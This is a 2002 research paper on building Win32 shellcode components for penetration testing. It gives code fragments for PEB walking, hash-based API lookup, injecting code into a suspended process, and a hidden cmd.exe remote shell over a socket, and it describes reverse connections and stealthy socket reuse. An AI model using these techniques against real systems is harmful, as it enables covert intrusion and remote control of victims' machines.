Win32 Assembly Components

by
The Last Stage of Delirium Research Group

http://lsd-pl.net

Version: 1.0.1
Updated: December 12th, 2002

Table of content

This page was intentionally left blank

Chapter 1

Introduction

This paper results directly from experiences of our group in the field of real penetration tests. Recently, the external penetration tests aimed at the actual verification of security mechanisms became more and more popular. Many companies request such commercial services during constructing or evaluating their security infrastructure.

We refer to the real penetration tests to describe complex real-like attacks not just automatic scan based analysis capable of detecting just an existence of a potential, well known vulnerability. The goal of real penetration tests is to show that combination of small mistakes in configuration of firewall, network architecture and software implementation may lead not only to theoretical but also to practical compromise of the whole infrastructure. The successful result of the penetration test is usually the best way (and in some cases the only one) for proving that threats are serious and security mechanisms require some improvements.

In order to complete successfully such a penetration test appropriate tools and techniques are required. The 'appropriate' means that these tools must be fully operating in the real world. For example, a proof of concept code that works only in a system of a researcher who found it has very limited usability for penetration tests purposes. Using such a code will unlikely succeed in case of well designed networks with advanced security mechanisms combined in consistent security infrastructure. Additionally, if an attacker has to try many times to exploit the specific vulnerability, the probability of detecting these attacks increases.

For real penetration tests, these tools have to be not only effective but also flexible and easy to configure. Please note, that the actual goal of a penetration test is not only to exploit a single vulnerability but to get access to the selected most important or crucial component of the internal network (a system or piece of data), a flag to be captured. The actual exploitation of vulnerability (or usually series of vulnerabilities) is therefore only a part of the whole test.

In this paper we do not want to discuss neither impacts nor the effectiveness of various vulnerability exploitation techniques. It is dedicated to assembly components (the asmcodes), the universal assembly code procedures that are to be executed after successful exploitation of a vulnerability. Originally, such assembly components have been referred to as shellcodes, however we prefer to call them asmcodes, as their functionality is currently definitely more complex than just spawning a command shell. The actual type of vulnerability or attack technique is not relevant in this context, as the asmcodes are usually not strongly dependent on such details. They are, however, still the critical parts of most attacks, as their effectiveness and impact significantly rely on quality of assembly components.

In this context we would like to present the advantages of technologies we have been using in commercially conducted penetration tests. The codes that are published along with this paper have been proved to be effective in many complex cases. For the purposes of the paper, we have

arranged the codes and provided them with some comments focused on significant technical details.

In the following part of the paper (2) the basic functionality and MS Windows specific details are presented. In the next one (3), implementations of specific components including optimization issues are discussed. The general utility (written in C language) for the asmcodes management is also presented in this part. At the end of the paper, the general example of using the asmcodes are provided (4).

The materials presented in this paper are focused on Microsoft Windows 2K/XP platforms. In some sense, this paper may be considered as a second part of our previous paper, dedicated to assembly components on various UNIX platforms [6][1]

[1] *The UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes* has been presented during Black Hat Briefings 2001 and is available for download at our website: `http://lsd-pl.net/unix_assembly.html`

Chapter 2

Functionality of Win32 Assembly Components

During recent years, several types of vulnerabilities have been discovered, like heap and stack buffer overflows, format strings and signed/unsigned bugs. The assembly components are used in those vulnerabilities, which successful exploitation results in a possibility of unauthorized execution of some code on a target machine. The asmcodes can theoretically perform any operation in the target operating system with privileges determined by permissions of vulnerable service or application.

In the case of Microsoft Windows operating systems, such unauthorized execution of code is usually aimed at downloading and executing a file on a target system or at starting interactive copy of windows console. The main problem with the first method is the need for additional reverse communication channel that has to be established in order to download the file. The success in this operation depends on many factors. The main problems are that such reverse channel may be blocked (by appropriate configuration of firewall or antivirus solution) or detected by network-based IDS.

In the case of the second method, an attacker can interactively execute any commands in the remote system. However, in MS Windows operating systems, working with command line console has certain limitations, at least comparing with UNIX systems. In many situations, it may not be sufficient and the attack may require downloading (using various strange methods) additional software for performing desired operations.

It can be easily noticed that these two solutions can be hardly considered as unfailing, flexible and effective in practice. This was the main reason why we developed our own set of assembly components with slightly extended functionality for the needs of penetration tests. In this chapter we describe how we achieved independence of asmcodes from version of the operating system (2.1), use of child processes to separate the asmcode from exploited application (2.2), working with interactive shell (2.3). Then we describe additional features of the asmcodes like simultaneous file transfer capability (2.4) and three options for remote communication with a target system (2.5).

2.1 Retrieving Windows API

Due to the specificity of exploitation techniques, the asmcodes executed during an attack have to fulfill several special requirements. First of all they have to be relocatable (i.e. can be executed in arbitrary memory place, for example in data segment, heap or stack), should be as short as possible and often must avoid some specific characters (commonly zeros). For all those reasons, the asmcodes are always written in assembly languages, specific for a given processor platform (in case of MS Windows, these are obviously processors of the most popular Intel x86 family).

In order to perform a given operation in the operating system, assembly components use the basis

functionality offered by the operating system. In case of most UNIX systems, the asmcodes use direct invocation of system calls through appropriate use of interrupts, gates or traps. The MS Windows systems also export a set of system calls (may be invoked through `0x2e` interrupt). However, they have different architecture of OS kernel that us based on the concept of subsystems, and in result there is no simple mapping of some operations (necessary for the asmcodes) to system calls.

This is the main reason why the assembly components for MS Windows operating systems are designed and implemented to use higher level functions located in dynamic libraries. This solution has some additional advantage, as it enables easy access to extended functionality of Windows API implemented in shared libraries.[1]

In order to invoke any Windows API function, its actual address in memory space of a given process must be known. Although MS Windows operating systems use mechanism of prelocated libraries[2], the base address (and therefore addresses of all of the exported functions) may differ in case of various operating systems versions, installed service packs and last but not least versions of the library itself. The development of methods for dynamic localization of function addresses in any process is therefore one of the most critical issues, as it has direct impact on independence, flexibility and effectiveness of the assembly component.

The most intuitive solution for finding addresses of required Windows API functions is connected with the use of `LoadLibrary()` and `GetProcAddress()` routines from `kernel32.dll` library. The first function enables loading any dynamic library to process memory space and returns a handler, which in fact is the base address where the library was mapped. In order to retrieve an actual address of any exported API function from the library, the `GetProcAddress()` function is used with the base address provided as an argument. However there is still a problem, as to use these two nice functions, the information about their actual addresses is also required.

There are several techniques for solving this problem. Hackers which tend to use the simplest and often not elegant solutions, commonly hardcode these addresses, what obviously limits the usage to the systems of similar configurations or forces to tune the code during the attack. The most commonly hardcoded address is the base of `kernel32.dll` library, from which the addresses of `LoadLibrary()` and `GetProcAddress()` routines are later calculated at runtime. Sometimes, the base address of specific application containing a vulnerability is hardcoded. In such a case, the import table of the application is used during a runtime to obtain address of `getmodulehandle()` function, which is used further to retrieve the base address of `kernel32.dll` library. Next, the export table of the `kernel32.dll` is used to obtain the addresses for `LoadLibrary()` and `GetProcAddress()` routines.

There are obviously other techniques that retrieve the base address of `kernel32.dll` on the fly and therefore achieve greater independence from the operating system and application versions. These techniques are mainly used by virus coders and are based on scanning selected parts of memory and looking for signatures of dynamic libraries headers (`"PE\x00\x00"` for PE format of MS Windows executables and `"MZ"` in the case of MS-DOS) [1], [7]. The interesting way of using this technique has been already introduced in one of earlier assembly components for MS Windows [4]. In that case, this technique was combined with automatic estimation of the base address of loaded `kernel32.dll` library, by walking through SEH (*Structured Exception Handling*) chain and looking for the address of library exception handling procedure.

However, it seems that the shortest and most effective technique for automatic localization of addresses of the libraries mapped into process memory space is based on scanning through a list of loaded modules, which is available in PEB (*Process Environment Block*) [10]. The application of this technique enables retrieving the address of `kernel32.dll` library loaded into the address

[1] For example, it is possible to download a file through HTTP protocol from any server with a call at a single function.

[2] The base address where library should be loaded is specified during link time and saved in the library.

space of practically any process operating in MS Windows 2K/XP (Win32 subsystem).

ALGORITHM: finding the base address of `kernel32.dll` library from `PEB`

1. Use the selector loaded to the processor segment register `FS` to find a place in the memory where the `TEB` (*Thread Environment Block*) of current thread is located.

```
struct TEB{
    ...
    struct _PEB* ProcessEnvironmentBlock;
    ...
};
```

   Find the pointer to `PEB` structure at the offset `0x30` in the `TEB`.

```
mov   eax,fs:[30h]
```

2. Find the pointer to loader data inside the `PEB` structure. The `PEB` structure definition is neither documented in `SDK` nor `DDK` but it may be obtained with the use of `windbg` kernel-mode debugger and its extensions.

```
0:000> !kdex2x86.strct PEB
Loaded kdex2x86 extension DLL
struct   _PEB (sizeof-422)
+000 byte     InheritedAddressSpace
...
+00c struct   PEB_LDR_DATA *Ldr
```

   The pointer to `PEB_LDR_DATA` is stored at the offset `0x0c` in the `PEB`.

```
mov   eax,[eax+0ch]
```

3. Locate a head of `InitializationOrderModuleList` (offset `0x1c`).

```
struct PEB_LDR_DATA{
    ...
    struct LIST_ENTRY InLoadOrderModuleList;
    struct LIST_ENTRY InMemoryOrderModuleList;
    struct LIST_ENTRY InInitializationOrderModuleList;
};

mov   esi,[eax+1ch]
```

4. Each entry on the list contains information about dynamic libraries loaded into memory space of this process (with respect to the sequence of their initialization). The first entry contains information about `ntdll.dll` module. By moving through the list to the second entry describing `kernel32.dll` library, the base address from `0x08` entry offset can be obtained.

```
struct LIST_ENTRY{
    struct LIST_ENTRY* Flink;
    struct LIST_ENTRY* Blink;
};

lodsd
mov   edx,[eax+08h]
```

Although the base address for loaded `kernel32.dll` library is known, it is still required to retrieve actual addresses of specific functions of its API. This problem can be solved in relatively easy way, as information about all functions exported by the library is available in its *Export Directory Table*[3] [8]. The absolute address of any exported function can be therefore retrieved upon its name and the base address of the library (this is exactly what `GetProcAddress()` function does). The API functions from other libraries may be accessed by loading image of a given library to memory space with use of `LoadLibrary()` function exported by `kernel32.dll`.

It should be noted that looking for addresses of API functions upon their names may require significant amount of space for storing their ASCII string representations. In order to save some memory and minimize the length of asmcode, appropriate hash functions are used to generate 32bits hash values for functions names. These hash values are further used to detect the same strings instead of comparing their ASCII names character by character.

However, as every hash calculation is connected with some information loss, sometimes it happens that for different input strings, the same hash values are generated. Therefore, in order to handle such situations additional comparison is made for the strings aimed at choosing the one for which the search was done.

In order to save space needed for storing ASCII strings of API functions' names, there is a need for hash calculation algorithm that will be at least completely fool proof over the space of functions' names (in the range of specific libraries). In case of virus coding one of the standard `crc32` checksum function is often used for this purpose [7]. However in our opinion its implementation is too long to be included in asmcodes. Upon few calculations, we have decided to use simpler hash function, based on rotation and sum: `h=((h<<5)|(h>>27))+c`, which has very short implementation (less then 10 assembly language instructions). During experiments, this function has not generated even a single hash duplication for the set of over 50 000 functions' names from over 5000 different libraries. Therefore this function seems to be sufficient for the needs of the Win32 assembly components.

ALGORITHM: retrieving API from library export table (using hash values)

1. Get `RVA` to `PE` header, from the offset `0x3c` in `MS-DOS` header.

```
typedef struct _IMAGE_NT_HEADERS{
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
}IMAGE_NT_HEADERS;

IMAGE_NT_HEADERS *nt;
unsigned short *ofs;
#define RVA(adr) (base+adr)

ofs=*((unsigned short*)(base+0x3c));
nt=base+ofs;
```

2. Find the *Image Export Directory* by finding the *Image Optional Header* that is located after `PE` *Image File Header*. Inside Data Directory at index `0` there is an entry containing *Image Export Directory* `RVA` and its size.

```
typedef struct _IMAGE_OPTIONAL_HEADER{
    WORD Magic;
    ...
```

[3]To be more detailed, `EAT` (*Export Address Table*) contains `RVA` (*Relative - to image base - Virtual Addresses*) and in dedicated *Export Name Pointer Table* are written RVA pointing to ASCII strings representing function names.

```
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
}IMAGE_OPTIONAL_HEADER;

typedef struct _IMAGE_DATA_DIRECTORY{
    DWORD RVA;
    DWORD Size;
}IMAGE_DATA_DIRECTORY;

typedef struct _IMAGE_EXPORT_DIRECTORY{
    ...
    DWORD AddressOfFunctions;
    DWORD AddressOfNames;
    DWORD AddressOfNameOrdinals;
}IMAGE_EXPORT_DIRECTORY;

IMAGE_EXPORT_DIRECTORY *ied;

ied=RVA(nt->OptionalHeader.DataDirectory[0].VirtualAddress);
```

3. Calculate absolute addresses of three export directory tables.

```
unsigned int *adr;
unsigned char **sym;
unsigned short *ord;

adr=RVA(ied->AddressOfFunctions);
sym=RVA(ied->AddressOfNames);
ord=RVA(ied->AddressOfNameOrdinals);
```

4. Traverse Names Table and calculate hash values for ASCII representations of functions names. Find the table index for searched function.

```
int idx;
for(idx=0;;idx++){
    unsigned int h;
    unsigned char *c=sym[idx];

    while(*c) h=((h<<5)|(h>>27))+*c++;
    if(h==hash) break;
}
```

5. Use the index to get appropriate value from Ordinals Table. Then use this value to index Address Table and read `RVA` to the function being searched. Calculate `RVA` and get the absolute memory address of the searched function.

```
unsigned int a;

a=RVA(adr[ord[idx]]);
```

2.2 Process Forking

Most exploitation techniques for vulnerabilities like buffer overflows, format strings, or signed/unsigned type confusion bugs are usually connected with termination of vulnerable application and execution of the specific assembly component. In such situation, the process being exploited does not perform its normal operations and often ends up with crash. Obviously, such a behavior can be easily notified as it is connected with termination of vulnerable service, connections loss, records in log files or crash memory dumps. It also often leads to detection of attack attempt by various IDS systems, AVP software or due to manual log analysis. These consequences are usually accepted in experimental or simple environments. The situation is slightly different in the case of penetration tests conducted against well protected infrastructures.

There are also some situations, when termination of an application being attacked may be unacceptable from clearly technical point of view. They refer to exploiting vulnerabilities in complex multithreaded applications, where in the result of the attack only one of threads is compromised. The problem is that in such a case, the execution of assembly component may fail if any of the other threads generates unhandled exception, for example due to corrupted stack, heap, or certain portions of global data.

We have tested several approaches for avoiding problems of this kind. Upon experiments we found out that the most universal and stable solution is to move execution of the assembly components to the space of a new process[4]. This solution, besides stable execution of the asmcodes, gives also the possiblity to perform some extra operations in the parent application. During our research we have developed technologies (yet, unpublished) using this feature, which allow for safe return to the parent application, by fixing all modifications made during a vulnerability exploitation and resuming its previous execution. From the outside, the application seems to be operating in completely normal way, regardless the fact that the unauthorized assembly component has been executed. Please note that these technologies are extremely useful during penetration tests, when a critical component of the infrastructure is about to be attacked, as its malfunction would be easily notified.

Unfortunately, in MS Windows 2K/XP operating systems the equivalent of UNIX `fork()` call[5] is not available in any API that can be directly used by a programmer. The only way to create a new process is to execute a separate program (with image stored in a file system) using `CreateProcess()` or `WinExec()` functions.

By analysing of the Windows Native API[6] there can be however found the `ZwCreateProcess()` function that is actually used for creating of a new process. This function also provides optional inheriting address space and handlers from the parent process. However, the process created by this function is not ready for execution, as it does not have any thread and it is not completely initiated from the operating system point of view. Due to specificity of MS Windows NT kernel architecture, the algorithm for execution of a new process is very complex and covers also communication with `win32` subsystem, creation of the context and thread, and initialization at the side of new process [3] (Chapter 6, *Flow of CreateProcess*, pages 305-317).

We have closely analyzed the exemplary implementation of creating new process using this algorithm [9] (Chapter 6, *Example 6.1 Forking a Win32 Process*, pages 161-165). After some successful experiments with execution of single assembly instructions, the problems occurred with loading and invoking functions from dynamic libraries. These problems exist probably due to inappropriate initialization phase. Upon this fact and the complexity of the algorithm itself, we decided that this solution is not suitable for our purpose (it would be definitely too long) and we reverted to the search of the alternative.

[4] What is basically done with the use of *classical* `fork()` system call in UNIX assembly components

[5] This function gives a possibility of creating child process inheriting address space of the parent process.

[6] The core functionality exported by the kernel of MS Windows operating system.

Finally, the other shorter and stable method for creating a new process using only documented API has been found by us. It cannot be considered as the classical `fork()` operation, as it does not allow to duplicate the address space, yet it enables executing any piece of code, including functions from dynamic libraries. This method is based on using `CreateProcess()` function with `CREATE_SUSPENDED` flag set. This function creates a new process and its primary thread in a suspended state. The newly created process, although ready to run, does not start its execution. The function requires an executable binary that will be mapped into the address space of a new process to be given as an input argument. Yet, as this file will not be executed anyway, it is sufficient that any existing Win32 executable (for example `cmd.exe`) is provided. Further, all that is required is to allocate memory in remote process, copy the code of assembly component, modify primary thread context to point at this code and resume the suspended thread.

ALGORITHM: simple semi-fork of win32 process

1. Create new process in suspended state. There is no need to provide the exact path to executable. If the `NULL` value is provided as the first argument and application name as the second one, the function will automatically add `.exe` extension to the application name and will search for binary file in local and system directories. Therefore there is no need to use `Get{Windows|System}Directory()` functions. In this case, the new process does not inherit any handlers from the parent.

```
STARTUPINFO si={0};PROCESS_INFORMATION pi;
CONTEXT ctx;

CreateProcess(NULL,"cmd",NULL,NULL,0,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
```

2. Get full context of created primary thread containing, among others, the processor register set.

```
ctx.ContextFlags=CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
```

3. Use the `VirtualAllocEx()` function to allocate memory in a remote process. In this specific case 20kb of commited memory is requested and is allocated with read/write and execute permissions.

```
v=VirtualAllocEx(pi.hProcess,NULL,0x5000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
```

4. Copy the buffer containing assembly procedure to the allocated memory.

```
WriteProcessMemory(pi.hProcess,v,buf,sizeof(buf),NULL);
```

5. Modify the context of primary thread in such a way that the instruction pointer register (`EIP`) would point at the beginning of allocated memory, where the assembly procedure was copied.

```
ctx.ContextFlags=CONTEXT_FULL;
ctx.Eip=v;
SetThreadContext(pi.hThread,&ctx)
```

6. Resume primary thread of child process what starts execution of copied assembly procedure.

```
ResumeThread(pi.hThread);
```

2.3 Command Execution

The main goal of an assembly component is to perform a specific operation in a target operating system, after successful exploitation of a security vulnerability within one of its services or applications. Generally, it can be assumed that the asmcode can perform any set of operations with direct use of the Windows Native API, or extended functionality provided by dynamic libraries. In practice, the most common goals of an attacker are focused on executing a command in a windows command interpreter (windows console - `cmd.exe`) or downloading and executing a file from the network.

The easiest way to perform a given action in the system can be accomplished with the use of `WinExec()` function, which enables executing any program stored in the file system as well as single commands in the interpreter (`cmd /C command`). The practical usability of this method is however very limited and not sufficient in most cases as does not provide a possibility of viewing the output of executed commands. This is the reason, why in most situations the other approaches are used. One of them is based on executing a hidden copy of a command interpreter in a separate subprocess by appropriately calling `CreateProcess()` function. The new process is forced to use three handlers for `stdin`, `stdout` and `stderr`, to which anonymous pipes (created with `CreatePipe()`) are assigned [2] (*Creating a child process with redirected input and output*). The parent process uses these pipes to send commands for execution and to receive results. Assuming that the asmcode also uses network communication (and windows sockets), the attacker can gain possibility to remotely execute commands and to view their results.

This solution has one serious implementation difficulty, as it requires simultaneous reading/writing from/to socket and pipes. The most common and not elegant solution of this problem is based on using the `PeekNamedPipe()` function for non-blocking checking if there is anything to be read from the pipes. In this approach, the asmcode performs read operation on the socket in a blocked mode and writes received data to the pipe referring to the standard input of `cmd.exe` process. Further, the `Sleep()` function is invoked in order to increase probability that data will be transferred to the subprocess, where it will be properly handled. Then the `PeekNamedPipe()` function is used to detect the presence of data in the pipe referring to `stdout` and stderr of `cmd.exe`. If any data is available, it is read and sent through the socket. At this point, the process starts again to wait for data on the socket. Unfortunately, if any results arrive at the `stdout` (or `stderr`), they will not be read until the next set of commands will be received from the socket.

There is however a much better solution, much shorter and free from this disadvantage[7]. In this case, a direct handler to the network socket (created using `WSASocket()`) is used instead of anonymous pipes. The bound subprocess of command interpreter reads/writes data directly from/to the socket while its parent process only waits for its termination in the `WaitForSingleObject()` call. However, this solution also has one minor disadvantage. In case when `cmd.exe` process hangs, the parent process will not be informed about this situation, thus it will be infinitely blocked. In practice, in the case of very specific vulnerabilities when only one connection with a vulnerable application can be established, if the command to the `cmd.exe` can hang it, the whole attack may fail.

For this reason, we have decided to develop and introduce much complex synchronization mechanism for reading and writing from/to pipes and socket. This mechanism would allow us to stop working in the command interpreter at any moment and kill the child subprocess (if it gets hanged). The main idea behind this mechanism is to use the synchronization function that monitors handlers and reports certain events as they occur. In the case of UNIX platforms, this can be done by using single `select()` function. Unfortunately, in MS Windows systems this function belongs to Winsock package and can be used only for monitoring objects of socket type.

In the case of MS Windows systems, the `WaitForMultipleObjects()` function is mainly used for synchronization purposes. This function waits for one of the objects to be signaled, and returns the

[7] This is in fact the solution, which is used the assembly components on the UNIX platforms.

object that caused the wait operation to complete. The handlers to the following types of objects may be specified in this function: *Change notification*, *Console input*, *Event*, *Job*, *Mutex*, *Process*, *Semaphore*, *Thread*, *Waitable timer*. As it can be noticed, this function unfortunately does not allow for direct monitoring of socket and output pipes from the subprocess. However, the required result may be achieved by using the event type objects.

The only way to associate an event object with a pipe handler is through the use of the overlapped reading mode. In this mode, an overlapped structure containing the handler event created with `CreateEvent()` function may be provided as the argument to every `ReadFile()` operation on the pipe. Overlapped read operation can finish by the time the function returns. Otherwise, if the operation is pending, the event object in the specified `OVERLAPPED` structure is set to the nonsignaled state, the function returns and the process may fall asleep in `WaitForMultipleObjects()`. When the pending operation finishes, the system sets the state of the event object to the signaled state, the process is woke up and it can use `GetOverlappedResult()` function to determine the amount of data read and stored in the buffer. Please note that in order to have the possibility of using overlapped mode, named pipes instead of the anonymous ones should be used.

The synchronization of reading data from socket may be done with the use of event object created with `WSACreateEvent()` function. The associations between event object and specified set of `FD_XXX` network events may be made with the use of `WSAEventSelect()` function. After doing this, the event may be given as the argument to the `WaitForMultipleObjects()` function. When this function signals any change of state for socket event object, `WSAEnumNetworkEvents()` function should be used to discover occurrences of particular network events for the indicated socket and to reset its event object. It should be noticed that `WSAEventSelect()` automatically sets socket to the non-blocking mode, what should be appropriately handled during the process of reading from it. When synchronization is not required any more, the socket may be set again to the blocking mode through the call to the `ioctlsocket()` function.

ALGORITHM: execution of `cmd.exe` with redirected input and output

1. Create an anonymous pipe that will be used for transferring data to subprocess (incoming - `in[0]`, outgoing - `in[1]`). As arguments to the `CreatePipe()` function pass appropriately the handlers, initialized security attributes structure and set handle inheritance flag.

```
SECURITY_ATTRIBUTES sa={sizeof(SECURITY_ATTRIBUTES),NULL,TRUE};

CreatePipe(&in[1],&in[0],&sa,4096);
```

2. Create named pipe and open it (incoming handler - `out[0]`, outgoing - `out[1]`).

```
out[1]=CreateNamedPipe(
    "\\pipe\0",PIPE_ACCESS_DUPLEX|FILE_FLAG_OVERLAPPED,
    0,PIPE_UNLIMITED_INSTANCES,0,0,0,NULL
);
out[0]=CreateFile("\\pipe\0",GENERIC_ALL,0,&sa,OPEN_EXISTING,0,NULL);
```

3. Create `cmd.exe` subprocess with `SW_HIDE` flag set (the console window will be hidden on the screen) and with inherited pipe handlers for standard input, output and error. Close all unneeded handlers of pipes in the parent process.

```
STARTUPINFO si={0};PROCESS_INFORMATION pi;

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=in[1];
si.hStdOutput=out[0];
```

```
si.hStdError=out[0];

CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi));
CloseHandle(out[0]);
CloseHandle(in[1]);
```

4. Create event object and save its handle in the `OVERLAPPED` structure.

```
HANDLE events[2];
OVERLAPPED lap;

lap.hEvent=CreateEvent(NULL,TRUE,TRUE,NULL);
events[1]=lap.hEvent;
```

5. Create WSA event object. Set it in such a way so that it will send notifications when there is something ready to be read from the socket or when the connection is closed.

```
events[0]=WSACreateEvent();
WSAEventSelect(sck,events[0],FD_READ|FD_CLOSE);
```

6. Do synchronized reading from socket and pipes. The process is sleeping and is awaken by the operating system when an appropriate event occurs. Go to `7` for socket and `8` for pipe event.

```
i=WaitForMultipleObjects(events,2,FALSE,INFINITE);

if(i==0) goto 7;
if(i==1) goto 8;
```

7. Read data that has been received on the socket and write it to the pipe referring to `stdin` of `cmd.exe` subprocess. Go back to the wait routine (synchronized read).

```
WSANETWORKEVENTS wsa_e;

WSAEnumNetworkEvents(sck,events[0],&wsa_e);

if((cnt=recv(clt,buf,sizeof(buf),0))>0) WriteFile(in[0],buf,cnt,&i,NULL);
else goto 9;

goto 6;
```

8. Read data from the pipe in the overlapped mode. If the data is successfuly read, send it over the network through the socket. If the operation returns error, set pending flag. If there is a read operation pending, check if it has been complited and (if so) send data over the network. Disable pending flag and go back to the wait routine.

```
if(!pending){
    ReadFile(out[1],buf,sizeof(buf),&cnt,&lap);
    if(cnt>0) send(clt,buf,cnt,0);
    else pending=1;
}else{
    if(!GetOverlappedResult(out[1],&lap,&cnt,FALSE)) goto 9;
    if(cnt>0) {pending=0;send(clt,buf,cnt,0);}
}
goto 6;
```

9. Close open pipe handlers. Clear any previous settings done for socket event object. Manually turn socket back to the blocking mode.

```
CloseHandle(out[1]);
CloseHandle(in[0]);

WSAEventSelect(sck,events[0],0);

i=0;
ioctlsocket(sck,FIONBIO,&i);
```

2.4 File Transfer

In the previous section, some techniques for remote interactive work with windows command interpreter (`cmd.exe`) have been presented. Although, work with command interpreter enables to comfortably browse file system objects, its functionality is not so extensive as in the case of working with UNIX command shells. This is mainly due to the lack of command line tools and utilities in MS Windows operating systems, as they are mainly based on interactions through GUI. For these reasons during a penetration test, it is often required to use some additional software, not available in the operating system. There, does not exist however any easy method for copying a file to the remote windows system only through the windows command interpreter[8]. This was the main motivation for creating a method for transferring a file to and from a remote windows machine.

Generally, the implementation of the file transfer capabilities is very easy. The `CreateFile()` function may be used for both creating new files and opening existing ones. The reading and writing can be performed with the use of `ReadFile()`/`WriteFile()` routines, and files can be closed with `CloseHandle()` function. The implementation of this functionality is therefore not complex, but can be very useful in practice, especially when possibility of remote interactive work is combined with it. The file transfer capability may be used to upload any executable files to the target machine and to download results that they produce. Also please note that in real penetration tests, the file transfer mechanism is often used for uploading an actual code of a backdoor, which has usually much more extensive functionality.

2.5 Network Communication

This paper is dedicated to the assembly components, which can be used during the remote exploitation of a security vulnerabilities in MS Windows OS. Obviously in order to be able to work remotely, the asmcodes have to be equipped with appropriate routines for network communication. In MS Windows operating systems TCP/IP protocols can be used through the windows sockets library available in versions 1.1 and 2.0. As the functionality of windows socket is very similar to the one originally introduced in BSD UNIX, the implementation of network procedures in assembly components for MS Windows is basically the same like in the UNIX platforms. The main difference is in the requirement of calling `WSAStartup()` function before starting any network operations in order to initiate the use of `ws2_32.dll` library by a process.

Generally, 3 different scenarios for handling network communication can be distinguished. The first one is based on creation of socket a listening on a specified port, by using the following sequence of functions: `socket()`, `bind()`, `listen()` and `accept()`. Upon accepting a connection with the call to `accept()` function, the handle to newly created socket is returned. This socket refers to the established connection and can be used to receive and send data through network. This method

[8] In case of UNIX systems, the file may be pasted as uuencoded executable binary on the console with redirected output to a file, which can be later uudecoded in order to obtain original executable binary.

is very comfortable, beacuse when executed in a loop, it enables establishing multiple connections with the attacked system. Its only limitation is that there need to be a possibility to establish a new connection with a specific port on the attacked system from external network.

However, sometimes there is not simply such a possibility. The good (and probably the most common) example is a server protected by a firewall system, which allows for incoming connections only at the port 80 (`http`). In such a case, even if there is a possibility of successful exploitation of a security vulnerability in `www` server, a new connection cannot be established with it due to the configuration of the firewall system. The most common solution in this case is to use the specificity of firewall configuration, which usually allows for outgoing connection to the most common services (like `http`, `ssh`, `ssl` or `realaudio`).

In such a case, backward connection is established, i.e. the assembly component does not bind and wait but tries to establish outgoing connection with some external system (usually the one from where the attack had been conducted) using port settings for some allowed service. When the connection is established, the attacker has a possibility of exchanging data with target system located behind the firewall. This method may be also configured in such a way so the asmcode periodically attempts to establish connection (for example, every 30 minutes) with a given host. The attacker will therefore have multiple opportunities to work with the compromised system.

There is also the third type of scenario for handling network communication by the asmcode. It was designed by us to fulfill the most rigid requirements, when the only possible way of communicating with a compromised system is through the connection that was used during the attack. In order to reuse the existing TCP connection, the `getpeername()` function is used to obtain information about second side of the connection (its IP address and port number). The assembly component walks through the process handler table in a search for a socket handler of remote TCP endpoint identified by given source port number. The field containing the source port number is configured in the asmcode by the proof of concept code, after connection with a vulnerable service on a target machine is established. The found socket handler may be further used by the assembly component to communicate with the attacker's system. Please note that this method does not leave any additional traces (as no additional connection is used). During real-life penetration tests, this is therefore the most recommended method, whenever only appropriate conditions are fulfilled.

Chapter 3

WASM Package

This chapter is dedicated to some issues that came to our attention during implementation of components (with functionality described earlier) in x86 assembly language for MS Windows 2K/XP platform. As it was already mentioned, the implementation of the asmcodes must fulfill appropriate requirements that are introduced by specific attack techniques. All these requirements determine very specific method of implementation that is aimed at completely relocatable code, that does not contain specific characters in its body and has minimal length.

The other important issue is the actual way of using a given asmcode in various proof of concept codes. In most current implementations, assembly components are usually provided in form of character arrays containing binary version of assembled instructions, which are then pasted to an exploit's source code. Such solution is sufficient in case of simple asmcodes having static architecture and constant (non-configurable) functionality.

During development of our assembly components, we have decided to use slightly different approach, based on separation of actual assembly code from the functionality connected with its management, composing and configuration. This approach creates the possibility to easily modify the assembly components and at the same time to automate all actions necessary to prepare them for the specific needs of the penetration test.

Below, general description of the WASM package containing our win32 assembly components is presented.

3.1 The Asmcodes

The code of the components from the WASM package is written completely in pure x86 assembly language (using 386 processor instruction set [5]) and is intended to be compiled with the use of Borland Turbo Assembler version 5.0. The main source file `wasm-1.0.asm` was divided into two parts. The first one contains information used by the external management program for appropriate configuration and navigation of particular assembly components. The second part contains the actual code of components.

3.1.1 Modular Architecture: CORE & PLUGINs

The general architecture of asmcodes is fully modular, what was achieved through implementation of specific functional elements in the form of separated components (procedures). Due to such an approach, the actual form of the asmcode and its actual functionality are fully configurable and may be adapted to the specific requirements of exploitation imposed by different types of

vulnerabilities and different exploitation environments. Such a *dynamic configuration* allows for placing in the asmcode only the required functionality and significantly decrease its length.

The criterion of the shortest asmcode's length was the main reason for introducing additional division. From the whole set of assembly components, the `ASM CORE` was distinguished. The `ASM CORE` contains all routines necessary to operate from the attacked process along with all routines for communication between attacker's machine and target system. It is the `ASM CORE` that is transferred to vulnerable application during the exploitation process[1].

The remaining functionality aimed at performing specific actions in the operating system is implemented in separate code parts, that are referred as `PLUGINs`. After establishing communication with the `ASM CORE` through one of three available communication methods, an attacker has a possibility of uploading any `PLUGINs` to be executed on a target system. Due to such an approach, the longest components do not make part of `ASM CORE` and do not increase its length unnecessarily. Additionally, the functionality of the asmcodes may be extended at any time through the creation of new components in the form of `PLUGINs`.

The current version of WASM package contains the following components that may be used for the creation of the `ASM CORE`.

`NULL|XORE`
: The first element of the `ASM CORE` is always the `NULL` component, which is responsible for localization of the code in memory. The `XORE` is the extended version of this component, which additionally decodes all other components to the form ready for execution.

`INIT`
: The `INIT` component is probably the most important part of every `ASM CORE` (it is obligatory). This component performs dynamic Windows API retrieving, code/data addressing and component invocation.

`PROLOG`
: In order to execute additional action before the actual `ASM CORE`, the optional `PROLOG` procedure can be used. This procedure is executed right after the `NULL/XORE`. As it also has a regular component structure and is invoked by through the `INIT` trampoline, it may use any functions of the Windows API.

`FORK [EPILOG]`
